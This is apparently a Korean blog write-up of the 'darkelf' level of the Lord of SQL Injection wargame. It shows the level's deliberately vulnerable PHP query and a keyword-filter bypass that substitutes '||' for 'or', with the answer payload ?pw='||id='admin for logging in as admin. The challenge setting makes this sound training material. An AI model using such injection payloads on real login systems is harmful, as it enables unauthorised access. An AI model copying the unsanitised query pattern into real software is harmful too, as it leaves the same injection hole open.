728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob, _,. () 사용 불가
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");  //or , and 사용 불가
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

or 대신 || 기호를 사용했다.

이 문제에선 쓰이지 않지만 참고로 and 대신엔 && 기호 사용 가능하다.

단, url에선 &가 예약문자이므로 URL 인코딩한 %26을 입력해야 한다.

답: ?pw='||id='admin

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

troll  (0) 2022.12.22
orge  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21

+ Recent posts